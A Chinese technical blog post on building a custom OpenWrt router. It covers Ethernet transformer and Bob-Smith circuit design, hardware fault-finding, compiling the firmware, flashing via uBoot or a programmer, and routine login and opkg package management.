&lt;blockquote&gt;
&lt;p&gt;很可惜，在硬件组装初期，笔者的路由器WAN口完全连不上，不仅仅无法ping通，甚至ifconfig根本看不到有这个接口&lt;&#x2F;p&gt;
&lt;p&gt;在这种情况下如果想安装软件包就必须使用LAN口，在路由器端使用SCP协议拉取上位机提供的软件包，然后用opkg进行安装（opkg是OpenWrt里面类似dpkg的一个软件包管理器，可以很方便地安装、更新、删除软件包、切换软件源）&lt;&#x2F;p&gt;
&lt;p&gt;解决方法在后文给出&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;wang-luo-bian-ya-qi-yu-bob-smithdian-lu&quot;&gt;网络变压器与Bob-Smith电路&lt;&#x2F;h5&gt;
&lt;p&gt;在网络硬件设计中经常接触到RJ-45网口，现在的RJ45网口很多都自带了网络变压器，因此只要正常接入并记得使用75欧或50欧电阻进行阻抗匹配就可以了；但是对于这里的路由模块，它使用杜邦线-排针代替RJ45网口（别问为什么，问就是特殊领域），因此需要仔细设计网络变压器部分的电路，它被称为&lt;strong&gt;Bob-Smith电路&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 以太网磁性元件电路图（左为芯片侧、右为线缆侧）：差分线对经共模电感与变压器隔离耦合，线圈中心抽头经中心抽头电容接地（理想情况应低阻抗接零电位参考点），另接高压电容；线缆侧未使用的线对经 Bob Smith 电路端接：4 个 75Ω 电阻汇接后通过 0.1uF 电容接地，用于阻抗匹配与 EMI 抑制。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;他有如下几个关键作用：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;信号传输
Bob-Smith电路分为&lt;strong&gt;电流型&lt;&#x2F;strong&gt;和&lt;strong&gt;电压型&lt;&#x2F;strong&gt;，根据驱动网络变压器的是电流为主还是电压为主区分
电流型：&lt;strong&gt;网络变压器输入侧&lt;&#x2F;strong&gt;（接PHY芯片或SoC的那一侧）&lt;strong&gt;需要在每个变压器抽头处上拉到电源&lt;&#x2F;strong&gt;，如果EMC要求更加严格，还会使用一个高频（75MHz-200MHz）电感跨接在抽头和电源之间，上拉电源可以是1.8、2.5、3.3等，这是为了&lt;strong&gt;增强网络变压器的驱动能力&lt;&#x2F;strong&gt;
同时需要在输入侧变压器正负端跨接50-100欧姆（常用75欧姆）的分流电阻，用于调整信号驱动强度
电压型：&lt;strong&gt;输入侧变压器抽头接到一起再通过100nF电容到地&lt;&#x2F;strong&gt;，这是为了提高网络变压器的EMC性能；正负端则分别接入50-100欧分压电阻到PHY芯片或SoC，用于调整信号驱动强度&lt;&#x2F;li&gt;
&lt;li&gt;阻抗匹配
&lt;strong&gt;阻抗匹配&lt;&#x2F;strong&gt;：当传输路径上阻抗不连续时，会有反射发生，阻抗匹配的作用就是通过端接元器件时，保证传输路线上的阻抗连续以去除传输链路上产生的反射。
网络变压器的输出端要接共模双绞线，双绞线上传输的是差分信号，因此需要使用100-150欧的阻抗匹配
&lt;strong&gt;网络变压器输出端的抽头都需要接50欧或75欧&lt;&#x2F;strong&gt;（根据线缆长度不同决定，也可以改为100欧，但25欧因为阻值太低不常用）&lt;strong&gt;到线缆，同时需要一个100nF的电容用于旁路&lt;&#x2F;strong&gt;（滤波）
这几个电阻就起到了阻抗匹配作用，计算公式如下
$Z=\sqrt{R-j\frac{1}{\omega C}}$&lt;&#x2F;li&gt;
&lt;li&gt;波形修复
输出端的旁路电容可以有效对外传输线路上的噪声实现滤除&lt;&#x2F;li&gt;
&lt;li&gt;抑制杂波
电压型BS电路通过下拉到地的100nF滤波电容实现了滤出高频噪声的作用，而两个串联在变压器上的分压电阻配合变压器寄生电感可以提高电路对差模信号的抑制能力，从而滤除高频杂波，保证网口通信正常
电流型BS电路则直接使用较高电流驱动的方式削弱从控制端输出的高频杂波影响。但是因为电流型电路会导致整体功耗较大，所以正在被电压型取代（不过在大功率信号传输的领域还是有一定应用）&lt;&#x2F;li&gt;
&lt;li&gt;隔离高压
这一条也可以称为&lt;strong&gt;共模-差模防护&lt;&#x2F;strong&gt;，电路可以通过一系列泻放路径抵抗从网络变压器输出端而来的浪涌电压电流。
具体实现出于篇幅所限不在这里列出，大致思路就是&lt;em&gt;共模浪涌会被变压器和输出端电阻自行抵消，最多可能付出电容被击穿的代价，并不会伤害到控制端；而差模信号会被变压器引入到输入端，之后直接通过抽头的电容或上拉电阻被滤除，能够很大程度地减少对输入端和信号的影响&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;在配置过程中发现：WAN口无法使用&lt;&#x2F;p&gt;
&lt;p&gt;重新刷入三次系统，反复调试一周后发现还是这样，基本上排除了所有可能的软件问题。于是决定回到硬件检查是否网络变压器或引脚出问题。首先用万用表通断档依次检测电容两端对地是否导通，发现WAN口的输入电容两端都对地为0——短路了；之后换用电阻档断电测量输入输出电阻，原本电路中使用75欧电阻，但测量中发现有两个电阻阻值不对，一个是偏小到50欧，另一个则无穷大。换掉电容电阻，上电接网线，成功秒杀&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;zi-ding-zhi-bing-bian-yi-nei-he&quot;&gt;自定制并编译内核&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;openwrt&#x2F;openwrt&quot;&gt;openwrt&lt;&#x2F;a&gt;整个项目在github上可以找到&lt;&#x2F;p&gt;
&lt;p&gt;也可以通过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;git.openwrt.org&#x2F;openwrt&#x2F;openwrt.git&quot;&gt;官方OpenWrt源码&lt;&#x2F;a&gt;下载&lt;&#x2F;p&gt;
&lt;p&gt;于是直接用git下载或下载压缩包到linux系统就可以使用了&lt;&#x2F;p&gt;
&lt;p&gt;一般来说可以使用虚拟机搭建环境，但是如果你习惯了使用桌面端linux，可以直接在你的双系统&#x2F;纯linux环境中搭建openwrt的开发环境&lt;&#x2F;p&gt;
&lt;h5 id=&quot;pei-huan-jing&quot;&gt;配环境&lt;&#x2F;h5&gt;
&lt;p&gt;根据openwrt项目中的README文档就可以简单地配好整个环境，这里摘录一下在ubuntu20中所需要安装的一些关键软件包&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;sudo apt install gcc g++ make gettext libncurses5-dev patch binutils flex bison subversion build-essential autoconf bzip2 libz-dev zlib1g-dev gawk git ccache gettext asciidoc libssl-dev sphinxsearch xsltproc sphinx-common libtool libssl-dev unzip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;安装完依赖以后还要下载一些openwrt主分支中没有加入的源代码，这些都是诸如kernel、package之类的大号源码，需要从官方&lt;strong&gt;对应的版本库&lt;&#x2F;strong&gt;中拉取到本地&lt;&#x2F;p&gt;
&lt;p&gt;这里需要注意：版本！&lt;&#x2F;p&gt;
&lt;p&gt;在拉取之前应该确定你想要编译的内核版本&lt;&#x2F;p&gt;
&lt;p&gt;常用的大版本有14、15、16、17、18、19，小版本从.1到.9不等，各个版本差异都比较大，大版本之间软件包基本是不可能通用的，小版本之间的软件包安装也存在各种问题，所以&lt;strong&gt;选版本的时候尽量考虑清楚&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用指令&lt;code&gt;git checkout openwrt-xx.xx&lt;&#x2F;code&gt;来切换到某个指定的内核版本，可以通过&lt;strong&gt;git指令&lt;&#x2F;strong&gt;查看各个版本间的不同&lt;&#x2F;p&gt;
&lt;p&gt;选择版本后就要添加软件扩展包了：&lt;&#x2F;p&gt;
&lt;p&gt;首先&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;cp feeds.conf.default feeds.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设置所需要使用的源，然后&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;.&amp;#x2F;scripts&amp;#x2F;feeds update -a
.&amp;#x2F;scripts&amp;#x2F;feeds install -a
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;更新并安装扩展程序&lt;&#x2F;p&gt;
&lt;p&gt;完成后应该可以看到OpenWrt目录如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;config 编译选项配置文件目录: 包含全局编译设置，开发人员设置和内核编译设置&lt;&#x2F;li&gt;
&lt;li&gt;include 就是普通的头文件目录，但是也包含了各种脚本和Makefile&lt;&#x2F;li&gt;
&lt;li&gt;package 软件包目录&lt;&#x2F;li&gt;
&lt;li&gt;scripts 环境脚本、下载补丁脚本、Makefile等&lt;&#x2F;li&gt;
&lt;li&gt;target 嵌入式平台移植包&lt;&#x2F;li&gt;
&lt;li&gt;toolchain 编译器和C库工具链&lt;&#x2F;li&gt;
&lt;li&gt;tools 用于生成固件的辅助工具&lt;&#x2F;li&gt;
&lt;li&gt;dl 下载的软件包目录&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;顺带一提，在编译完成时还能看到build_dir和staging_dir，二者分别是中间文件目录和编译安装目录&lt;&#x2F;p&gt;
&lt;p&gt;在完成配置后可以使用&lt;code&gt;make defconfig&lt;&#x2F;code&gt;来测试编译环境是否配置正确&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;千万注意不要被老版本的配环境资料误导，包括本篇！不要看见一个差不多的资料就从里面复制粘贴指令！&lt;&#x2F;p&gt;
&lt;p&gt;一定要选择适合自己系统的配环境资料，最好查阅官方文档！虽然会麻烦一点但是可以很大程度上避免滚挂系统！&lt;&#x2F;p&gt;
&lt;p&gt;不要问我怎么知道的，我只能说linux双系统有风险，滚挂系统重装好麻烦的！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;menuconfig&quot;&gt;menuconfig&lt;&#x2F;h5&gt;
&lt;p&gt;配完环境以后就可以进行半可视化配置内核、应用程序的menuconfig了&lt;&#x2F;p&gt;
&lt;p&gt;先使用&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;make menuconfig
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;打开menuconfig半图形化配置界面，在里面添加需要选用的组件&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;操作：键盘上下移动光标，左右选择底部按键，回车是确认，空格是设置选择模式，选项最前面的选择模式有[*]表示编译进固件，[M]表示编译成安装包，[ ]表示不选择，esc是返回上级菜单，按?是帮助，按&#x2F;是搜索&lt;&#x2F;p&gt;
&lt;p&gt;注意一般应用程序编译成安装包等进入系统后再安装，kmod内核驱动要编译进固件，带opkg字样的东西一定要编译进固件，不然没法安其他包&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;配置选项定义&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置选项&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Target System&lt;&#x2F;td&gt;&lt;td&gt;目标平台，对应目录openwrt&#x2F;target&#x2F;linux 里的目录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Subtarget&lt;&#x2F;td&gt;&lt;td&gt;目录 openwrt&#x2F;target&#x2F;linux&#x2F;(目标) 里的子目录，定义特定目标&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Target Profile&lt;&#x2F;td&gt;&lt;td&gt;目标描述文件，在subtarget目录下面的profile目录中&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Target Images&lt;&#x2F;td&gt;&lt;td&gt;编译生成目标固件的控制选项&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Global build settings&lt;&#x2F;td&gt;&lt;td&gt;全局编译设置，按默认设置进行编译就可以&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Advanced configuration options&lt;&#x2F;td&gt;&lt;td&gt;高级配置选项，无需理会&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Build the OpenWrt Image Builder&lt;&#x2F;td&gt;&lt;td&gt;可以编译出一个编译系统供其它主机安装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Build the OpenWrt SDK&lt;&#x2F;td&gt;&lt;td&gt;编译生成SDK开发包，提供给其它主机进行应用开发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Package the OpenWrt-based Toolchain&lt;&#x2F;td&gt;&lt;td&gt;生成开发工具链包，提供给其它主机进行应用开发&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Image configuration&lt;&#x2F;td&gt;&lt;td&gt;控制是否打开feed.conf中的模块&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Base system&lt;&#x2F;td&gt;&lt;td&gt;基本软件包选择，主要是busybox组件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Boot Loaders&lt;&#x2F;td&gt;&lt;td&gt;引导系统的系统，不用管它&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Development&lt;&#x2F;td&gt;&lt;td&gt;开发包、开发工具，如gcc、gdb之类&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Firmware&lt;&#x2F;td&gt;&lt;td&gt;特定硬件的固件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Kernel modules&lt;&#x2F;td&gt;&lt;td&gt;内核模块、内核配置选项&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Languages&lt;&#x2F;td&gt;&lt;td&gt;软件开发语言选择&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Libraries&lt;&#x2F;td&gt;&lt;td&gt;动态链接库选择&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Network&lt;&#x2F;td&gt;&lt;td&gt;网络功能模块选择&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Utillities&lt;&#x2F;td&gt;&lt;td&gt;一些实用工具模块&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;（上面内容摘录自https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;e2b5a292392e）&lt;&#x2F;p&gt;
&lt;p&gt;完成选择后就可以保存退出了，生成的文件会让你命名，一般直接保持默认&lt;code&gt;.config&lt;&#x2F;code&gt;即可&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在这个项目里，我遇到的最大问题就是在menuconfig的时候安装进模块的软件包无法使用，于是只能和OpenWrt内核版本、底层硬件驱动、网口配置斗智斗勇…在一般情况下面对嵌入式设备一定要首先考虑在menuconfig的时候安装软件包，否则后续的操作有可能反而比menuconfig复杂——尤其是在安装额外的kmod，也就是内核驱动时。自行编译的内核是具有独立的md5码的，并不能和官方的bin文件对应的md5码吻合，这就导致下载软件包的时候kmod无法匹配内核，所以要使用强制安装，而又因为你的内核是自行编译的，所以很有可能会出现因为内核版本不对而很多程序无法运行，甚至运行时崩溃的情况&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;man-chang-de-bian-yi&quot;&gt;漫长的编译&lt;&#x2F;h5&gt;
&lt;p&gt;make就完事了，make的时候可以换各种姿势&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;make V=s #输出编译信息，第一次编译一般用这个，单核编译小水管不得不品尝
make V=99 #上面这个的老版本用法

make -j12 #j后面跟你的cpu核心数，对amd cpu很友好，但是不会输出编译信息，如果要反复编译还是比较适合的，省时间
make clean #重新编译之前记得用一下，不然下次编译可能出现莫名其妙的错误
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;特别地，现在GitHub有一个叫Actions的服务，有人利用这个服务制作了一套&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;P3TERX&#x2F;Actions-OpenWrt&quot;&gt;在线编译OpenWrt的系统&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主要有以下特色：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;免费！快速！一次编译成功率高！&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;一键快速自动多线程编译&lt;&#x2F;li&gt;
&lt;li&gt;无需搭建编译环境，上手就用，用完就扔&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;根据&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;p3terx.com&#x2F;archives&#x2F;build-openwrt-with-github-actions.html&quot;&gt;项目的中文介绍页面&lt;&#x2F;a&gt;里面的介绍一步步来就可以实现在线编译了（记得提前准备一个GitHub账号）&lt;&#x2F;p&gt;
&lt;p&gt;其中比较友好的是可以支持SSH连接到GitHub Actions虚拟服务器环境，直接在服务器上menuconfig&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;编译的时候出现了很多错误，不要嫌麻烦，挨个查看改正就行，第一次编译难免出错，正常情况下改一天肯定是能编译出来的&lt;&#x2F;p&gt;
&lt;p&gt;不过后续烧录能不能识别嘛…祈祷自己的设备比较常见吧；特种设备采用特殊器件装特殊系统…自求多福，运气好总能成功的&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;shang-wei-ji-lian-jie-dao-openwrt&quot;&gt;上位机连接到OpenWrt&lt;&#x2F;h4&gt;
&lt;p&gt;终于完成了整个系统的编译，接下来就能尝试烧录并连接到设备了。烧录过程和设备具体硬件配置有关&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shao-lu&quot;&gt;烧录&lt;&#x2F;h4&gt;
&lt;p&gt;如果你使用的是普通路由器，一般来说连上LAN口，登录网关地址，里面的选项里会有一个更新固件，直接把bin文件上传，点击烧录就可以了；如果使用的是一般的嵌入式设备，一般可以选择使用openocd配合jtag进行烧录，只要900+rmb氪入一套jlink基本可以完美烧录（笑）上面两个方法都太简单（没钱买设备是个人问题，有钱人烧录都很简单的）。下面介绍一下常用的三种烧录方法：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;uBoot烧录&lt;&#x2F;strong&gt;
一般来说设备出厂以后都会烧录&lt;strong&gt;uBoot&lt;&#x2F;strong&gt;，这个东西和grub有点像，但是它工作在嵌入式领域，可以支持Linux、安卓、FreeBSD等系统的引导，支持&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=MIPS&amp;amp;spm=1001.2101.3001.7020&quot;&gt;MIPS&lt;&#x2F;a&gt;、x86、ARM、RISC-V等等各种架构的CPU，而OpenWrt对应使用的uBoot往往会着重增强网络能力，因此一般OpenWrt设备的uBoot都会自带TFTP协议的功能，并且会打开一个操作界面，因此可以直接参考厂商给出的说明，按以下步骤启动设备&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;连接LAN口到上位机&lt;&#x2F;li&gt;
&lt;li&gt;修改上位机IP为厂商指定的静态IP地址，并按照地址设定子网掩码&lt;&#x2F;li&gt;
&lt;li&gt;下位机设备断电，按住Boot按键（或者叫WPS按键）（当然如果没有这个按键应该从Boot引脚到地焊接一根跳线）&lt;&#x2F;li&gt;
&lt;li&gt;将设备上电&lt;&#x2F;li&gt;
&lt;li&gt;保持按键一段时间，等待设备从uBoot启动（类似于按住进入键盘上某个键进入BIOS设置界面）&lt;&#x2F;li&gt;
&lt;li&gt;松开按键并在上位机打开厂商指定的IP地址（浏览器打开，别想着用什么奇奇怪怪的软件）&lt;&#x2F;li&gt;
&lt;li&gt;选择固件、上传、等待&lt;&#x2F;li&gt;
&lt;li&gt;等到足够长时间以后（具体多长要参考厂商说明）修改LAN口为dhcp或默认设置的静态IP&lt;&#x2F;li&gt;
&lt;li&gt;尝试正常连接路由器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果中间没有操作界面，可以尝试反复ping要连接的uBoot地址，如果能ping通那就是连上了，之后使用类似下面的uboot命令（由厂商决定）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;   tftp 固件保存地址 要上传的固件
   erase 固件启动地址 + $固件大小
   cp 固件保存地址 固件启动地址 $固件大小
   set bootcmd 固件启动地址
   save
   boot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总体过程就是：上传-擦除原本固件-复制上传的固件到启动位置-设置固件启动位置-保存-重启设备
uBoot功能很强大，在某种程度上说它就像桌面版linux的livecd一样，只要uboot不刷坏，设备就可以说是不死的，一直可以通过重新进入uboot的方式刷新系统&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;顺便提一下，对于14.07版本的内核，应用在MT7621上时，安装kmod-usb-ehci与kmod-usb-hid可能会导致冲突让系统崩溃，就是因为同时安装了他俩让我不得不重新刷机好几次&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;luci界面升级&lt;&#x2F;strong&gt;
就是上面说过的登入网关以后从配置界面上传固件升级的过程，但是一般来说会保留原来系统的配置，所以最好刷更新的固件，而不是刷老版本固件，否则会有可能变砖，还需要用第一种方法再刷一次&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;烧录器烧录&lt;&#x2F;strong&gt;
如果uBoot损坏、网口有问题甚至Flash挂了，那就必须使用这种方法了。
一般来说需要使用专门的Flash烧录器配合上位机软件对准Flash的引脚进行烧录，Flash烧录器有1.8V、3.3V、5V三种，一般来说现在的SPI Flash（最典型的W25Q128）使用3.3V烧录器就可以，但是很多设备都用上了低功耗Flash，这就需要一个电平转换板或者直接使用1.8V烧录器进行烧录。如果是最为极端的情况，Flash挂了，那就必须把Flash拆下来，换一个新Flash上去再烧录&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;在艰难的配环境过程中，某个不愿透露姓名的学长就把Flash整废了，好巧不巧那块Flash还是特殊封装的贴片元件，极其难焊接，于是只能购入巨贵的专用烧录板，烧录新的Flash以后再装上去。由于没碰见过这种情况+快递速度缓慢，流程整整走了一周。&lt;&#x2F;p&gt;
&lt;p&gt;笔者接手项目以后，还遇到了uBoot死活不启动的情况，检查电路以后发现是板上的Boot线路被莫名划坏一道，于是补好了铜线才得以启动uBoot&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;新手注意：遇到uBoot不启动不要慌，较大可能是你按的时间不够久或者操作有疏忽导致uBoot启动被跳过了，只要认真多试几遍总能成功，在期间善用百度很关键&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;luci&quot;&gt;Luci&lt;&#x2F;h5&gt;
&lt;p&gt;完成系统烧录以后，上电，上位机连上LAN口，等待几分钟，浏览器打开网关地址（一般是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;），一般来说就能进入一个登陆界面，这就是OpenWrt的&lt;strong&gt;Luci界面&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过这个界面可以对设备的大多数设置进行调整，这里不多作介绍，都是很直接了当的东西&lt;&#x2F;p&gt;
&lt;p&gt;在某些角落会留着language的设置栏，在这里可以选择语言，省去啃生肉的烦恼&lt;&#x2F;p&gt;
&lt;h5 id=&quot;chuan-kou-zhong-duan&quot;&gt;串口终端&lt;&#x2F;h5&gt;
&lt;p&gt;最传统登录Linux的方法当然是串口终端——不论嵌入式linux还是服务器linux&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;TTL串口是人类的好朋友&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这种方法不必多说，折腾过树莓派的人都懂，串口调试器连接UART Tx、Rx、GND，重启设备，开启Putty或者XShell，之后开机信息就会从界面喷涌而出&lt;&#x2F;p&gt;
&lt;h5 id=&quot;ssh&quot;&gt;SSH&lt;&#x2F;h5&gt;
&lt;p&gt;这种方法很适合具有WiFi功能的OpenWrt设备，能够省掉一根网线。不过有网线连接的时候也很实用，对于linux来说命令行总是比可视化可靠。&lt;&#x2F;p&gt;
&lt;p&gt;连上网线ping通后，直接&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;ssh 用户名(一般是root)@目标设备IP
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;就可以登录到OpenWrt了&lt;&#x2F;p&gt;
&lt;h5 id=&quot;ren-he-qi-ta-linuxfa-xing-ban-yun-xu-de-deng-lu-fang-shi&quot;&gt;任何其他Linux发行版允许的登录方式&lt;&#x2F;h5&gt;
&lt;p&gt;只要在内核里面使能了某个可行的登陆方式，并且硬件允许它运行，那么用户就能用这种方式进行登录OpenWrt&lt;&#x2F;p&gt;
&lt;p&gt;毕竟这可是Linux啊！&lt;&#x2F;p&gt;
&lt;h4 id=&quot;lian-wang&quot;&gt;联网&lt;&#x2F;h4&gt;
&lt;p&gt;强调一下：==如果是必须的kmod还是应该先想好然后在编译内核阶段完成安装==&lt;&#x2F;p&gt;
&lt;p&gt;一般来说正常安装了网络设备驱动和普通luci界面的设备直接插上网线或者通过luci界面配置好wifi以后就可以联网了，但是如果无法联网可能有以下几个原因：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;编译内核时没有把网络设备驱动编译进去（一般来说是默认添加且不能修改的，但是谁知道用户会做出什么逆天操作）&lt;&#x2F;li&gt;
&lt;li&gt;外部设备不支持联网（一般是硬件坏了，弄个交换机上OpenWrt还不如多花点钱买个带千&#x2F;万兆网口的）&lt;&#x2F;li&gt;
&lt;li&gt;配置问题&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;1、2点需要重新编译或者检查硬件甚至重新选型，非常难以解决，所以一定要避免这两种问题出现；第三种相对容易解决一些，根据百度到的教程一步步来即可，一般来说都是因为路由器接口&#x2F;netif&#x2F;wpa&#x2F;交换机接口配置出错，依次排除不要着急&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在我调试这个板子的时候发生了一件很绝望的事情：板子无法联网，但是能够在内网登录luci界面并ssh。刚开始我以为是软件问题，先去查找了一遍OpenWrt的官方文档，通过luci界面配置了一遍接口，但是无济于事；然后又ssh进去通过vi查找配置文件，无果；因为项目进度逼的比较紧，于是只能换用离线装软件包的方法。等到折腾了一大通硬装软件包以后才想起来检查硬件问题，最后发现是开头说的网络变压器电路问题导致无法联网&lt;&#x2F;p&gt;
&lt;p&gt;所以嵌入式编程&lt;strong&gt;一定要先排除硬件问题&lt;&#x2F;strong&gt;！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;bao-guan-li-qi&quot;&gt;包管理器&lt;&#x2F;h4&gt;
&lt;p&gt;OpenWrt最与众不同的一点就是它配备了&lt;strong&gt;opkg&lt;&#x2F;strong&gt;包管理器，它和apt、yum、pacman等指令使用方式类似，能够&lt;em&gt;不是很智能地智能解决&lt;&#x2F;em&gt;软件包依赖问题：&lt;em&gt;只能解决一点点&lt;&#x2F;em&gt;。一般来说自动解决需要一层依赖的软件包安装还是可以的，但是为了安全起见还是一步一步的安装软件包吧。opkg常用指令如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;shell&quot; class=&quot;language-shell &quot;&gt;&lt;code class=&quot;language-shell&quot; data-lang=&quot;shell&quot;&gt;opkg install
opkg remove
opkg update
opkg upgrade
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;软件包管理器的设置位于&lt;code&gt;&#x2F;etc&#x2F;opkg&lt;&#x2F;code&gt;中&lt;&#x2F;p&gt;
